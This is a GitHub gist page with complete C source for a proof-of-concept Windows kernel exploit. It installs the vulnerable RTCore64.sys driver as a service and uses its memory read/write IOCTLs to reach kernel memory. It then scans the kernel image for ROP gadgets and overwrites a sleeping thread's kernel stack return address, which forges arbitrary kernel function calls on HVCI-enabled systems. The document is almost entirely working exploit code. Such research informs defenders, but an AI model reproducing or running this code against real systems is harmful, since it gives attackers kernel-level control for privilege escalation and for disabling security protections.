Skip to content

Instantly share code, notes, and snippets.

@Cr4sh
Created May 15, 2021 03:22
Show Gist options
  • Save Cr4sh/a87061f42fa4b135b48807242edcdf96 to your computer and use it in GitHub Desktop.
Save Cr4sh/a87061f42fa4b135b48807242edcdf96 to your computer and use it in GitHub Desktop.
Performing arbitrary kernel function calls on HVCI enabled systems with thread context hijacking
#include "stdafx.h"
// vulnerable driver device name
#define EXPL_DEVICE_PATH "\\\\.\\Global\\RTCore64"
// vulnerable driver service and file name
#define EXPL_DRIVER_NAME "RTCore64.sys"
#define EXPL_SERVICE_NAME "RTCore64"
// vulnerable driver IOCTL codes
#define RTCORE_MEM_READ_CTL 0x80002048
#define RTCORE_MEM_WRITE_CTL 0x8000204c
// StackBase and KernelStack field offset
#define KTHREAD_StackBase 0x38
#define KTHREAD_KernelStack 0x58
// magic exit code for DummyThread()
#define THREAD_EXIT_CODE 0x1337
#include <pshpack1.h>
typedef struct _RTCORE_MEM_READ
{
PVOID Unknown_0;
PVOID Address;
PVOID Unknown_1;
DWORD ReadSize;
DWORD Value;
PVOID Unknown_2;
PVOID Unknown_3;
} RTCORE_MEM_READ,
*PRTCORE_MEM_READ;
typedef struct _RTCORE_MEM_WRITE
{
PVOID Unknown_0;
PVOID Address;
PVOID Unknown_1;
DWORD ReadSize;
DWORD Value;
PVOID Unknown_2;
PVOID Unknown_3;
} RTCORE_MEM_WRITE,
*PRTCORE_MEM_WRITE;
#include <poppack.h>
char *GetNameFromFullPath(char *lpszPath)
{
char *lpszName = lpszPath;
for (size_t i = 0; i < strlen(lpszPath); i++)
{
if (lpszPath[i] == '\\' || lpszPath[i] == '/')
{
lpszName = lpszPath + i + 1;
}
}
return lpszName;
}
void DbgMsg(char *lpszFile, int Line, char *lpszMsg, ...)
{
va_list arg_list;
va_start(arg_list, lpszMsg);
int Len = _vscprintf(lpszMsg, arg_list) + MAX_PATH;
char *lpszBuff = (char *)M_ALLOC(Len);
if (lpszBuff == NULL)
{
va_end(arg_list);
return;
}
char *lpszOutBuff = (char *)M_ALLOC(Len);
if (lpszOutBuff == NULL)
{
M_FREE(lpszBuff);
va_end(arg_list);
return;
}
vsprintf(lpszBuff, lpszMsg, arg_list);
va_end(arg_list);
sprintf(lpszOutBuff, "%s(%d) : %s", GetNameFromFullPath(lpszFile), Line, lpszBuff);
// write message into the debug output
OutputDebugStringA(lpszOutBuff);
HANDLE hStd = GetStdHandle(STD_OUTPUT_HANDLE);
if (hStd != INVALID_HANDLE_VALUE)
{
DWORD dwWritten = 0;
// write message into the console
WriteFile(hStd, lpszBuff, lstrlen(lpszBuff), &dwWritten, NULL);
}
M_FREE(lpszBuff);
M_FREE(lpszOutBuff);
}
int LoadPrivileges(char *name)
{
BOOL bRet = FALSE;
HANDLE hToken = NULL;
TOKEN_PRIVILEGES Privs;
LUID Luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
DbgMsg(__FILE__, __LINE__, "OpenProcessToken() ERROR %d\n", GetLastError());
goto _end;
}
if (!LookupPrivilegeValueA(NULL, name, &Luid))
{
DbgMsg(__FILE__, __LINE__, "LookupPrivilegeValue() ERROR %d\n", GetLastError());
goto _end;
}
Privs.PrivilegeCount = 1;
Privs.Privileges[0].Luid = Luid;
Privs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &Privs, sizeof (Privs), NULL, NULL))
{
DbgMsg(__FILE__, __LINE__, "AdjustTokenPrivileges() ERROR %d\n", GetLastError());
goto _end;
}
bRet = TRUE;
_end:
if (hToken)
{
CloseHandle(hToken);
}
return bRet;
}
BOOL ServiceStart(char *lpszName, char *lpszPath)
{
BOOL bRet = FALSE;
SC_HANDLE hManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hManager)
{
// create service for kernel-mode driver
SC_HANDLE hService = CreateService(
hManager, lpszName, lpszName, SERVICE_START | DELETE | SERVICE_STOP,
SERVICE_KERNEL_DRIVER, SERVICE_SYSTEM_START, SERVICE_ERROR_IGNORE,
lpszPath, NULL, NULL, NULL, NULL, NULL
);
if (hService == NULL)
{
if (GetLastError() == ERROR_SERVICE_EXISTS)
{
// open existing service
if ((hService = OpenService(hManager, lpszName, SERVICE_START | DELETE | SERVICE_STOP)) == NULL)
{
DbgMsg(__FILE__, __LINE__, "OpenService() ERROR %d\n", GetLastError());
}
}
else
{
DbgMsg(__FILE__, __LINE__, "CreateService() ERROR %d\n", GetLastError());
}
}
if (hService)
{
// start service
if (StartService(hService, 0, NULL))
{
bRet = TRUE;
}
else
{
if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING)
{
// service is already started
bRet = TRUE;
}
else
{
DbgMsg(__FILE__, __LINE__, "StartService() ERROR %d\n", GetLastError());
}
}
CloseServiceHandle(hService);
}
CloseServiceHandle(hManager);
}
else
{
DbgMsg(__FILE__, __LINE__, "OpenSCManager() ERROR %d\n", GetLastError());
}
return bRet;
}
BOOL ServiceStop(char *lpszName)
{
BOOL bRet = FALSE;
SC_HANDLE hManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hManager)
{
// open existing service
SC_HANDLE hService = OpenService(hManager, lpszName, SERVICE_ALL_ACCESS);
if (hService)
{
SERVICE_STATUS Status;
// stop service
if (ControlService(hService, SERVICE_CONTROL_STOP, &Status))
{
bRet = TRUE;
}
else
{
DbgMsg(__FILE__, __LINE__, "ControlService() ERROR %d\n", GetLastError());
}
CloseServiceHandle(hService);
}
else
{
DbgMsg(__FILE__, __LINE__, "OpenService() ERROR %d\n", GetLastError());
}
CloseServiceHandle(hManager);
}
else
{
DbgMsg(__FILE__, __LINE__, "OpenSCManager() ERROR %d\n", GetLastError());
}
return bRet;
}
BOOL ServiceRemove(char *lpszName)
{
BOOL bRet = FALSE;
SC_HANDLE hManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hManager)
{
// open existing service
SC_HANDLE hService = OpenService(hManager, lpszName, SERVICE_ALL_ACCESS);
if (hService)
{
// delete service
if (DeleteService(hService))
{
bRet = TRUE;
}
else
{
DbgMsg(__FILE__, __LINE__, "DeleteService() ERROR %d\n", GetLastError());
}
CloseServiceHandle(hService);
}
else
{
DbgMsg(__FILE__, __LINE__, "OpenService() ERROR %d\n", GetLastError());
}
CloseServiceHandle(hManager);
}
else
{
DbgMsg(__FILE__, __LINE__, "OpenSCManager() ERROR %d\n", GetLastError());
}
return bRet;
}
PVOID GetSystemInformation(SYSTEM_INFORMATION_CLASS InfoClass)
{
NTSTATUS Status = 0;
ULONG RetSize = 0, Size = 0x100;
PVOID Info = NULL;
GET_NATIVE(NtQuerySystemInformation);
if (f_NtQuerySystemInformation == NULL)
{
DbgMsg(__FILE__, __LINE__, "ERROR: Unable to obtain needed functions\n");
return NULL;
}
while (true)
{
RetSize = 0;
// allocate memory for system information
if ((Info = M_ALLOC(Size)) == NULL)
{
DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n", GetLastError());
return NULL;
}
// query information
if ((Status = f_NtQuerySystemInformation(InfoClass, Info, Size, &RetSize)) == STATUS_INFO_LENGTH_MISMATCH)
{
// buffer is too small
M_FREE(Info);
// allocate more memory and try again
Size = RetSize + 0x100;
}
else
{
break;
}
}
if (!NT_SUCCESS(Status))
{
DbgMsg(__FILE__, __LINE__, "NtQuerySystemInformation() ERROR 0x%.8x\n", Status);
if (Info)
{
// cleanup
M_FREE(Info);
}
return NULL;
}
return Info;
}
PVOID GetObjectAddress(HANDLE hObject)
{
PVOID Ret = NULL;
// query all system handles information
PSYSTEM_HANDLE_INFORMATION HandleInfo = (PSYSTEM_HANDLE_INFORMATION)GetSystemInformation(SystemHandleInformation);
if (HandleInfo)
{
for (DWORD i = 0; i < HandleInfo->NumberOfHandles; i += 1)
{
// lookup for pointer to the our object
if (HandleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
HandleInfo->Handles[i].HandleValue == (USHORT)hObject)
{
Ret = HandleInfo->Handles[i].Object;
break;
}
}
M_FREE(HandleInfo);
}
return Ret;
}
PVOID GetKernelProcAddress(char *lpszProcName)
{
PVOID Addr = NULL;
// query loaded kernel modules information
PRTL_PROCESS_MODULES Info = (PRTL_PROCESS_MODULES)GetSystemInformation(SystemModuleInformation);
if (Info)
{
HMODULE hImage = NULL;
PVOID KernelBase = Info->Modules[0].ImageBase;
char szKernelPath[MAX_PATH];
// get kernel file name from NT path
char *lpszKernelName = (char *)Info->Modules[0].FullPathName + Info->Modules[0].OffsetToFileName;
GetSystemDirectory(szKernelPath, MAX_PATH);
strcat(szKernelPath, "\\");
strcat(szKernelPath, lpszKernelName);
// load kernel image as dynamic library
if ((hImage = LoadLibraryEx(szKernelPath, NULL, DONT_RESOLVE_DLL_REFERENCES)) != NULL)
{
// get address of the target function
if ((Addr = GetProcAddress(hImage, lpszProcName)) != NULL)
{
// calculate an actual address of the target function
Addr = (PVOID)((DWORD_PTR)Addr - (DWORD_PTR)hImage + (DWORD_PTR)KernelBase);
}
else
{
DbgMsg(__FILE__, __LINE__, "GetProcAddress() ERROR %d\n", GetLastError());
}
FreeLibrary(hImage);
}
else
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to load kernel image\n");
}
M_FREE(Info);
}
return Addr;
}
BOOL GetKernelImageInfo(PVOID *pImageAddress, PDWORD pdwImageSize, char *lpszName)
{
// query loaded kernel modules information
PRTL_PROCESS_MODULES Info = (PRTL_PROCESS_MODULES)GetSystemInformation(SystemModuleInformation);
if (Info)
{
// return kernel image load address and size
*pImageAddress = Info->Modules[0].ImageBase;
*pdwImageSize = Info->Modules[0].ImageSize;
// get kernel file name from NT path
strcpy(lpszName, (char *)Info->Modules[0].FullPathName + Info->Modules[0].OffsetToFileName);
M_FREE(Info);
return TRUE;
}
return FALSE;
}
HANDLE DriverInit(void)
{
HANDLE hDevice = NULL;
char szFilePath[MAX_PATH];
if (!LoadPrivileges(SE_LOAD_DRIVER_NAME))
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: LoadPrivileges() fails\n");
return FALSE;
}
// make driver file path
GetSystemDirectory(szFilePath, MAX_PATH);
strcat(szFilePath, "\\drivers\\" EXPL_DRIVER_NAME);
// copy driver into the drivers directory
if (CopyFile(EXPL_DRIVER_NAME, szFilePath, FALSE))
{
if (ServiceStart(EXPL_SERVICE_NAME, szFilePath))
{
// get handle of the target device
if ((hDevice = CreateFile(
EXPL_DEVICE_PATH, GENERIC_READ | GENERIC_WRITE, 0,
NULL, OPEN_EXISTING, 0, NULL)) != INVALID_HANDLE_VALUE)
{
return hDevice;
}
// remove service
ServiceStop(EXPL_SERVICE_NAME);
ServiceRemove(EXPL_SERVICE_NAME);
}
else
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: ServiceStart() fails\n");
}
// remove driver
DeleteFile(szFilePath);
}
else
{
DbgMsg(__FILE__, __LINE__, "CopyFile() ERROR %d\n", GetLastError());
}
return NULL;
}
void DriverUninit(HANDLE hDevice)
{
char szFilePath[MAX_PATH];
CloseHandle(hDevice);
// make driver file path
GetSystemDirectory(szFilePath, MAX_PATH);
strcat(szFilePath, "\\drivers\\" EXPL_DRIVER_NAME);
// remove service
ServiceStop(EXPL_SERVICE_NAME);
ServiceRemove(EXPL_SERVICE_NAME);
// remove driver
DeleteFile(szFilePath);
}
BOOL DriverMemRead(HANDLE hDevice, DWORD dwSize, PVOID Address, PDWORD pdwValue)
{
DWORD dwRet = 0;
RTCORE_MEM_READ Request;
ZeroMemory(&Request, sizeof(Request));
Request.Address = Address;
Request.ReadSize = dwSize;
// send memory read request to the driver
if (DeviceIoControl(
hDevice, RTCORE_MEM_READ_CTL,
&Request, sizeof(Request), &Request, sizeof(Request),
&dwRet, NULL))
{
*pdwValue = Request.Value;
return TRUE;
}
else
{
DbgMsg(__FILE__, __LINE__, "DeviceIoControl() ERROR %d\n", GetLastError());
}
return FALSE;
}
BOOL DriverMemReadPtr(HANDLE hDevice, PVOID Address, PVOID *pValue)
{
DWORD dwValueLo = 0, dwValueHi = 0;
#ifdef _AMD64_
// read 64-bit value
if (DriverMemRead(hDevice, sizeof(DWORD), (PUCHAR)Address + 0, &dwValueLo) &&
DriverMemRead(hDevice, sizeof(DWORD), (PUCHAR)Address + 4, &dwValueHi))
{
*pValue = (PVOID)(((DWORD_PTR)dwValueHi << 32) | (DWORD_PTR)dwValueLo);
return TRUE;
}
#endif
return FALSE;
}
BOOL DriverMemWrite(HANDLE hDevice, DWORD dwSize, PVOID Address, DWORD dwValue)
{
DWORD dwRet = 0;
RTCORE_MEM_WRITE Request;
ZeroMemory(&Request, sizeof(Request));
Request.Address = Address;
Request.ReadSize = dwSize;
Request.Value = dwValue;
// send memory write request to the driver
if (DeviceIoControl(
hDevice, RTCORE_MEM_WRITE_CTL,
&Request, sizeof(Request), &Request, sizeof(Request),
&dwRet, NULL))
{
return TRUE;
}
else
{
DbgMsg(__FILE__, __LINE__, "DeviceIoControl() ERROR %d\n", GetLastError());
}
return FALSE;
}
BOOL DriverMemWritePtr(HANDLE hDevice, PVOID Address, PVOID Value)
{
#ifdef _AMD64_
// write 64-bit value
if (DriverMemWrite(hDevice, sizeof(DWORD), (PUCHAR)Address + 0, (DWORD)(((DWORD_PTR)Value >> 0) & 0xffffffff)) &&
DriverMemWrite(hDevice, sizeof(DWORD), (PUCHAR)Address + 4, (DWORD)(((DWORD_PTR)Value >> 32) & 0xffffffff)))
{
return TRUE;
}
#endif
return FALSE;
}
BOOL MatchSign(PUCHAR Data, PUCHAR Sign, int Size)
{
for (int i = 0; i < Size; i += 1)
{
if (Sign[i] == 0xff)
{
// 0xff means to match any value
continue;
}
if (Sign[i] != Data[i])
{
// not matched
return FALSE;
}
}
return TRUE;
}
DWORD WINAPI DummyThread(LPVOID lpParam)
{
HANDLE hEvent = lpParam;
DbgMsg(
__FILE__, __LINE__,
"Putting thread %x:%x into the waitable state...\n", GetCurrentProcessId(), GetCurrentThreadId()
);
WaitForSingleObject(hEvent, INFINITE);
DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): EXIT\n");
return 0;
}
int _tmain(int argc, _TCHAR* argv[])
{
HANDLE hThread = NULL, hEvent = NULL, hDevice = NULL;
// load loldriver
if ((hDevice = DriverInit()) == NULL)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverInit() fails\n");
goto _end;
}
DbgMsg(__FILE__, __LINE__, "Kernel driver successfully loaded\n");
PVOID KernelAddr = NULL;
DWORD dwKernelSize = 0;
char szKernelName[MAX_PATH];
// get kernel address
if (!GetKernelImageInfo(&KernelAddr, &dwKernelSize, szKernelName))
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: GetKernelImageInfo() fails\n");
goto _end;
}
DbgMsg(__FILE__, __LINE__, "Kernel is at "IFMT", image size is 0x%x\n", KernelAddr, dwKernelSize);
PVOID RopAddr_1, RopAddr_2 = NULL;
PVOID f_ZwTerminateThread = NULL;
PVOID f_PsGetCurrentProcessId = NULL;
if ((f_PsGetCurrentProcessId = GetKernelProcAddress("PsGetCurrentProcessId")) == NULL)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to find nt!PsGetCurrentProcessId() address\n");
goto _end;
}
// load kernel image as dynamic library
HMODULE hImage = LoadLibraryEx(szKernelName, NULL, DONT_RESOLVE_DLL_REFERENCES);
if (hImage)
{
PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS)
RVATOVA(hImage, ((PIMAGE_DOS_HEADER)hImage)->e_lfanew);
PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)
RVATOVA(&pHeaders->OptionalHeader, pHeaders->FileHeader.SizeOfOptionalHeader);
for (DWORD i = 0; i < pHeaders->FileHeader.NumberOfSections; i += 1)
{
// check for the code sectin
if ((pSection->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0 &&
(pSection->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0)
{
for (DWORD n = 0; n < pSection->Misc.VirtualSize - 0x100; n += 1)
{
DWORD Ptr = pSection->VirtualAddress + n;
/*
Signature of nt!_guard_retpoline_exit_indirect_rax() used as
ROP gadget to control function argument registers.
*/
UCHAR Sign_1[] = "\x48\x8b\x44\x24\x20" // mov rax, [rsp+0x20]
"\x48\x8b\x4c\x24\x28" // mov rcx, [rsp+0x28]
"\x48\x8b\x54\x24\x30" // mov rdx, [rsp+0x30]
"\x4c\x8b\x44\x24\x38" // mov r8, [rsp+0x38]
"\x4c\x8b\x4c\x24\x40" // mov r9, [rsp+0x40]
"\x48\x83\xC4\x48" // add rsp, 48h
"\x48\xFF\xE0"; // jmp rax
// match the signature
if (MatchSign(RVATOVA(hImage, Ptr), Sign_1, sizeof(Sign_1) - 1))
{
// calculate an actual kernel address
RopAddr_1 = RVATOVA(KernelAddr, Ptr);
}
/*
Second ROP gadget used to reserve an extra space for the
stack arguments.
*/
UCHAR Sign_2[] = "\x48\x83\xC4\x68" // add rsp, 68h
"\xC3"; // retn
// match the signature
if (MatchSign(RVATOVA(hImage, Ptr), Sign_2, sizeof(Sign_2) - 1))
{
// calculate an actual kernel address
RopAddr_2 = RVATOVA(KernelAddr, Ptr);
}
/*
Signature of nt!ZwTerminateThread(), we need this function
to gracefully shutdown our dummy thread.
*/
UCHAR Sign_3[] = "\x48\x8B\xC4" // mov rax, rsp
"\xFA" // cli
"\x48\x83\xEC\x10" // sub rsp, 10h
"\x50" // push rax
"\x9C" // pushfq
"\x6A\x10" // push 10h
"\x48\x8D\x05\xFF\xFF\xFF\xFF" // lea rax, KiServiceLinkage
"\x50" // push rax
"\xB8\x53\x00\x00\x00" // mov eax, 53h
"\xE9\xFF\xFF\xFF\xFF"; // jmp KiServiceInternal
// match the signature
if (MatchSign(RVATOVA(hImage, Ptr), Sign_3, sizeof(Sign_3) - 1))
{
// calculate an actual kernel address
f_ZwTerminateThread = RVATOVA(KernelAddr, Ptr);
}
}
}
pSection += 1;
}
FreeLibrary(hImage);
}
else
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to load kernel image\n");
goto _end;
}
if (RopAddr_1 == NULL || RopAddr_2 == NULL)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to find ROP gadget addresses\n");
goto _end;
}
if (f_ZwTerminateThread == NULL)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to find nt!ZwTerminateThread() address\n");
goto _end;
}
DbgMsg(__FILE__, __LINE__, "ROP gadget #1 address is "IFMT"\n", RopAddr_1);
DbgMsg(__FILE__, __LINE__, "ROP gadget #2 address is "IFMT"\n", RopAddr_2);
DbgMsg(__FILE__, __LINE__, "nt!ZwTerminateThread() is at "IFMT"\n", f_ZwTerminateThread);
// create waitable event
if ((hEvent = CreateEvent(NULL, FALSE, FALSE, NULL)) == NULL)
{
DbgMsg(__FILE__, __LINE__, "CreateEvent() ERROR %d\n", GetLastError());
goto _end;
}
// create dummy thread
if ((hThread = CreateThread(NULL, 0, DummyThread, hEvent, 0, NULL)) == NULL)
{
DbgMsg(__FILE__, __LINE__, "CreateThread() ERROR %d\n", GetLastError());
goto _end;
}
Sleep(1000);
// get _KTHREAD address by handle
PVOID pThread = GetObjectAddress(hThread);
if (pThread == NULL)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: GetObjectAddress() fails\n");
goto _end;
}
DbgMsg(__FILE__, __LINE__, "_KTHREAD is at "IFMT"\n", pThread);
PVOID StackBase = NULL, KernelStack = NULL;
// get stack base of the thread
if (!DriverMemReadPtr(hDevice, RVATOVA(pThread, KTHREAD_StackBase), &StackBase))
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverMemReadPtr() fails\n");
goto _end;
}
// get stack pointer of the thread
if (!DriverMemReadPtr(hDevice, RVATOVA(pThread, KTHREAD_KernelStack), &KernelStack))
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverMemReadPtr() fails\n");
goto _end;
}
DbgMsg(__FILE__, __LINE__, "Thread kernel stack base is at "IFMT"\n", StackBase);
DbgMsg(__FILE__, __LINE__, "Thread kernel stack pointer is at "IFMT"\n", KernelStack);
PVOID RetAddr = NULL;
PVOID Ptr = (PVOID)((PUCHAR)StackBase - sizeof(PVOID));
// walk over the kernel stack
while (Ptr > KernelStack)
{
PVOID Val = 0;
// read stack value
if (!DriverMemReadPtr(hDevice, Ptr, &Val))
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverMemReadPtr() fails\n");
goto _end;
}
// check for return address to nt!KiSystemServiceCopyEnd()
if ((DWORD_PTR)Val > (DWORD_PTR)KernelAddr &&
(DWORD_PTR)Val < (DWORD_PTR)KernelAddr + dwKernelSize)
{
RetAddr = Ptr;
break;
}
// go to the next stack location
Ptr = (PVOID)((PUCHAR)Ptr - sizeof(PVOID));
}
if (RetAddr == NULL)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to locate return address\n");
goto _end;
}
DbgMsg(__FILE__, __LINE__, "Return address was found at "IFMT"\n", RetAddr);
#define STACK_PUT(_offset_, _val_) \
\
if (!DriverMemWritePtr(hDevice, RVATOVA(RetAddr, (_offset_)), (PVOID)(_val_))) \
{ \
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverMemWritePtr() fails\n"); \
goto _end; \
}
// hijack the return address
STACK_PUT(0x00, RopAddr_1);
// forge nt!PsGetCurrentProcessId() function call
STACK_PUT(0x08 + 0x20, f_PsGetCurrentProcessId);
// reserve an extra space for the stack arguments
STACK_PUT(0x50, RopAddr_2);
// put the next function call
STACK_PUT(0xc0, RopAddr_1);
// forge nt!ZwTerminateThread() function call
STACK_PUT(0xc8 + 0x20, f_ZwTerminateThread);
STACK_PUT(0xc8 + 0x28, hThread);
STACK_PUT(0xc8 + 0x30, THREAD_EXIT_CODE);
// put thread into the ready state
SetEvent(hEvent);
WaitForSingleObject(hThread, INFINITE);
DWORD dwExitCode = 0;
GetExitCodeThread(hThread, &dwExitCode);
// check for the magic exit code set by forged call
if (dwExitCode == THREAD_EXIT_CODE)
{
printf("Forged kernel function call was successfully executed\n");
}
else
{
printf("Something went wrong\n");
}
_end:
if (hEvent)
{
CloseHandle(hEvent);
}
if (hThread)
{
CloseHandle(hThread);
}
if (hDevice)
{
DriverUninit(hDevice);
}
printf("Press eny key to quit\n");
_getch();
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment